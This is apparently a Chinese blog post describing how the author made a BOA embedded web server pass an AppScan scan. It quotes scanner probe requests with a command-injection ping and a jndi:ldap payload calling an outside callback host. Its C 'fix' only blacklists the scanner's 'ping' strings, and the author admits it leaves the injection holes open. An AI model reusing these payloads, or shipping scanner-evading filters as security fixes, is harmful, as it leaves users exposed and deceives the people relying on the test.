一种绕过appscan扫描注入漏洞的简单方法(附代码)

在基于嵌入式Linux的终端上部署了一个轻量级的老古董级web server - BOA server(芯片供应商自带的SDK,不好换,主要是C程序),可以连上进行终端的配置。却被客户告知需要进行web安全扫描。这个需求本来意义很低,因为这个终端是在放在用户家里,家庭上网用,内网才能接入。即使黑进去了最多也就是破坏个人上网,或者蹭个网啥的。但是客户把它作为入网测试的必选项。

用appscan扫出上千个高危漏洞,绝大部分是注入漏洞,一般发生在POST请求,黑盒(appscan)攻击向量主要集中在两个地方,一是payload,二是cookie。

一. Payload注入漏洞

POST /cgi-bin/check_auth.json HTTP/1.1
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [fe80::1]
Cookie: loginTimes=0; loginRight=2
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://[fe80::1]/cgi-bin/login.asp
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: en-US
frashnum=&action=ping+-c+1+v3-ping-2-27c24527-642b-4275-b72da68b05234bf0.
securityip.appsechcl.com
&Frm_Logintoken=0&username=user&password=**CONFIDENTIAL 0**&Username2=&Password2=
HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312
{
"Locked":"0",
"Logged":"2",
"Privilege":"0",
"Active":"1",
"Luci":"0",
"ecntToken":"000000000000000000000000000000000"

}

这里的payload的变量action的值被注入了。

appscan的漏洞描述这么说:

差异: 参数 action 从以下位置进行控制: login 至:
ping+-c+1+v3-ping-2-27c24527-642b-4275-b72d-a68b05234bf0.securityip.appsechcl.com
推理: AppScan 外部 Web 服务器接收到包含该测试的变体 ID 的 DNS 查询,因此认为应用程序存在漏洞。

解读一下:appscan向web server发送如上攻击向量并收到正常回应,所以认为存在漏洞。

对于这一类漏洞,我们需要在web server程序中找到payload解析部分。在Boa server是在http-get-utils.c文件中的函数s_var **parse_param_line (char *line)。在这个文件的头部增加payload校验函数,来校验其内容是否被注入。

用户输入校验可以用两种方法,一种是白名单准入,另一种是黑名单禁入。我开始用的是白名单准入,但是这种情况下需要穷举各种合法的用户输入,这个操作上太复杂,很容易就把合法的输入也过滤了。后来我用黑名单禁入法,通过观察攻击向量,发现其中都有字符串"-ping-"或"ping ",于是我的输入校验函数也就很简单:

int validate_payload(char * pl)
{
	if(strstr(pl,"ping ") || strstr(pl,"-ping-"))
	{
		return 0;
	}
	return 1;
}

在函数s_var **parse_param_line (char *line)里,找到payload参数的获取部分代码,对其值进行校验,程序中是result[i]->value。

if(!validate_payload(result[i]->value))
{				
	tcdbg_printf("\nValidate_payload failed %s=%s %s\n", result[i]->name, result[i]->value, __func__);
	free_param_line(result);
	return NULL;	
}

 其中,tcdbg_printf是这个终端系统特有的串口控制台输出调试语句。如果发现参数值里含有攻击向量,则立即返回NULL。是不是到这里就结束了呢?如果你的web server程序写的很严谨,即在对参数进行解析时,如果发现错误有相应的错误处理流程,如忽略该request,那么改到这里应该就可以了。但是Boa server源码里没有该处理流程,只能自己顺藤摸瓜进行额外处理。

再查找Boa server里调用parse_param_line函数的代码,发现在函数static int get_post(request *req), static int get_post_multipart(request *req), static int get_query(request *req)里,都是返回类型为int。原来针对parse_param_line返回为NULL时没有做特殊处理,现在需要加上这段代码。以get_post为例:

g_var_post = parse_param_line (post);
	
free(post);
if(g_var_post)
{
	return 1;
}
else
{
	tcdbg_printf("g_var_post is null %s\n", __func__);
	return 0;
}

当parse_param_line返回为NULL时,函数返回0. 再查找get_post的调用,发现在int asp_handler(request * req)函数里(asp是legacy asp),源代码是这样的:

        if(http_header() == -1)
        {
                close(fd_out);
                req->status = DEAD;
                req->keepalive = KA_INACTIVE;//Ian_20070326
                return 0;//Ian_20070326
        }
        if((req->method == M_POST) && req->content_length){
                if(req->content_type == NULL)
                {
                        get_post(req);
                }
                /*add support to parse multipart. shnwind 2009.4.8*/
                else if(strstr(req->content_type,"multipart") == NULL){
                        get_post(req);
                }else{
                        get_post_multipart(req);
                }
        }else if((req->method == M_GET) && req->query_string)
                get_query(req);

 从上面的代码可以看到,调用parse_param_line函数的get_post,get_post_multipart,get_query都在里面, 但是都没有对其返回值进行校验处理。也就是无论返回值是什么,都会接下去走预定的流程。修改加上如下校验代码:

if((req->method == M_POST) && req->content_length){
		if(req->content_type == NULL)
		{
			igp=get_post(req);
		}
		/*add support to parse multipart. shnwind 2009.4.8*/
		else if(strstr(req->content_type,"multipart") == NULL){
			igp=get_post(req);
		}else{
			igp=get_post_multipart(req);
		}
		//tcdbg_printf("igp=%d %s\n",igp,__func__);
		if(!igp)
		{
			tcdbg_printf("igp is 0 %s\n", __func__);
			close(fd_out);
			req->status = DEAD;
			req->keepalive = KA_INACTIVE;
			return 0;
		}

	}else if((req->method == M_GET) && req->query_string)
	{
		if(!get_query(req))
		{
			close(fd_out);
			req->status = DEAD;
			req->keepalive = KA_INACTIVE;
			tcdbg_printf("!get_query(req),line %d, in function %s\n",__LINE__,__func__);
			return 0;
		}
	}

 当返回为0时,参考其源代码里的错误处理流程,关闭一些数据,设置req状态,然后返回0. 

本来程序修改到这里就可以结束了,但是还需要特别注意的一个地方。appscan判断漏洞是看你针对其request有没有有效返回,如200 OK,在需要redirect的情况下,302 Moved也算一个有效返回,当它监测到返回数据后,就判断web server存在漏洞。而在Boa server的源码里http_header函数就是用来发送HTTP/1.0 200 OK消息的,所以要把这个函数放到get_query的后面来。好,这个位置调换完成,则整个针对payload漏洞的程序修补告一段落。后面还有一个补丁针对boa server在面对某些攻击向量时会退出。

二. Cookie注入漏洞

POST /cgi-bin/sec-macfilter.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}

Host: [fe80::1]
Content-Length: 126
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
isFilter=on&ListType_Flag=White&Mac_Flag=0&delnum=&EnMacFilter_Flag=0&mac_num=0&Actionflag=Del&IpMacType_Flag=Mac&FilterMod
e=1
HTTP/1.0 302 Moved Temporarily
Location: /cgi-bin/login.asp
Connection: close
Server: Boa/0.94.13
X-Frame-Options: SAMEORIGIN
Date: Thu, 01 Jan 1970 02:21:02 GMT
Content-Type: text/html; charset=ISO-8859-1
<HTML><HEAD><TITLE>302 Moved Temporarily</TITLE></HEAD>
<BODY>
<H1>302 Moved</H1>The document has moved
<A HREF="/cgi-bin/login.asp">here</A>.
</BODY></HTML>
GET /cgi-bin/login.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Referer: http://[fe80::1]/cgi-bin/sec-macfilter.asp
Cookie: ecntToken=2a5c6fd6b8454bcb5b1c7a4e9aa24eeff; loginTimes=0; logintype=usr; loginRight=${jndi:ldap://v3-ping-1434-
14484203-25fa-47b8-ab83-db8ba866eaac.securityip.appsechcl.com/foo}

Host: [fe80::1]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US

HTTP/1.0 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/html;charset=GB2312

上面Cookie中LoginRight的值被注入了。web server第一个回应是302(因为还没有登录),然后redirect到login,收到了正常回应,appscan认为是漏洞。

在Boa server中查找cookie解析的代码,Cookie是在解析Head的时候进行处理,所以不在上面的Body的payload处置流程之中。在文件ctc_auth_api.c中的函数ctc_check_auth和ctc_http_token_authorize里

int ctc_check_auth
(asp_reent* reent, const asp_text* params, char *p_username, char *p_password, struct ctc_au_param *au_param, char **result)


int ctc_http_token_authorize(request *req)

在该文件头部添加一校验函数:

int check_compliance(char * strbuf)
{
 
  if(strstr(strbuf,"ping ") || strstr(strbuf,"-ping-")|| strlen(strbuf)==0)
  {
	return 0;
  }
  return 1;
}

和前面payload校验不一样的地方,cookie的值是不能为空的,所以加上strlen是否为0的校验。在 函数ctc_check_auth中调用上述check_compliance函数,以loginTimes为例:

if ( req->cookie )
	{
		var = param_line (req->cookie, '=',';');
		for(  idx = 0; var[idx]; idx++)
		{
			if ( 
#if defined(TCSUPPORT_CUC)
				0 == login_times && 
#endif
				NULL != strstr(var[idx]->name, "loginTimes") )
			{
				//tcdbg_printf("Cookie: %s=%s; %s\n",var[idx]->name,var[idx]->value, __func__);
				if (!check_compliance(var[idx]->value))
				{
					tcdbg_printf("Cookie loginTimes %s contains malicious code %s\n",var[idx]->value, __func__);
					free_param(var);
					/**result=NULL;
					
					return -1;*/
					goto JSON_CREATE;	
				}

即如果检测到不符合要求,则按照源代码中的出错处理流程,转到JSON_CREATE。

在 ctc_http_token_authorize中做如下修改:

var = param_line (req->cookie, '=',';');
	//tcdbg_printf("Cookie: ");
	for(  idx = 0; var[idx]; idx++)
	{
		//tcdbg_printf("%s=%s; ",var[idx]->name,var[idx]->value);
		//tcdbg_printf("\n");
		if (!check_compliance(var[idx]->value))
		{
			tcdbg_printf("Cookie value %s contains malicious code\n %s", var[idx]->value, __func__);
			free_param(var);
			return -1;	
		}

即检测到不合规,返回-1. 

幸运的是,关于Cookie的修改,到这里就可以结束了。不需要再去关心这些函数的调用,因为Boa server源码里已经有既定的错误处理流程了。

三. 由于攻击向量造成的web server退出

appscan扫描经常会造成Boa server退出。经过在程序多处打印调试信息,定位到是由于在发送登陆请求时,伪造的用户名和密码有的为空。这在正常流程中不会出现,因为前端的javascript代码会校验输入。在asp_handler.c文件中的如下函数中加入校验代码:

static void 
tcWebApi_JsonHook(asp_reent* reent, const asp_text* params, asp_text* ret)
{

      ....

       
      if(!strcmp(funname,"ctc_check_auth"))
	  {
				if(!pval_1 || !pval_2)
				{
					tcdbg_printf("pval_1 or pval_2 is null and funname is %s,%d,%s\n",funname,__LINE__,__FILE__);
					return;
				}
				
	  }


       ....

}

当函数为ctc_check_auth时,表明在进行登录校验,pval_1是指向用户名的指针,pval_2是指向密码的指针。当其中有一个为null时,立即返回。

到现在整个漏洞修补程序已经完结,从扫描结果来看,注入漏洞全部修复(不再报告)。

仅有的3个高危漏洞是由于采用http协议,没有加密传输。

本文介绍的方法是针对appscan的特定扫描,观察其攻击向量的特征,并不是从根源上堵住了注入漏洞。之所以介绍这种方法,是因为这种安全检测意义不大,我只是用一种最简单的方法让客户的安全扫描得以通过,同时不影响现有业务的正常运行。 这种方式不适用于大型互联网网站,或者存有重要数据的网站。

 

 

 

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
AppScan是一款流行的漏洞扫描工具,用于识别和评估Web应用序中的安全漏洞。以下是AppScan漏洞扫描的基本使用说明: 1. 安装和配置:下载并安装AppScan,然后按照提供的指南进行基本配置。确保您的系统满足最低要求并具有适当的许可证。 2. 创建项目:在AppScan中创建一个新项目,提供相关信息,如目标URL和认证凭据(如果需要)。您还可以选择其他配置选项,如扫描深度和扫描策略。 3. 配置扫描选项:根据您的需求选择适当的扫描选项。您可以选择执行全面扫描或仅针对特定漏洞类别执行扫描。 4. 启动扫描:点击"开始扫描"按钮启动扫描AppScan将自动访问目标URL,并尝试发现潜在的漏洞。 5. 查看扫描结果:一旦扫描完成,您可以查看扫描结果报告。报告将列出检测到的漏洞及其严重性级别。您可以通过报告中提供的详细信息,了解每个漏洞的具体细节和修复建议。 6. 修复漏洞:基于AppScan扫描结果,您应该尽快修复检测到的漏洞。根据漏洞的严重性级别,您可以优先处理高风险漏洞。 7. 定期扫描漏洞扫描不是一次性任务,建议定期使用AppScanWeb应用序进行扫描,以确保持续的安全性。 请注意,这只是AppScan的基本使用说明。根据您的具体需求和环境,您可能需要更多高级配置和操作。建议参考AppScan的官方文档和用户手册,以了解更多详细信息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值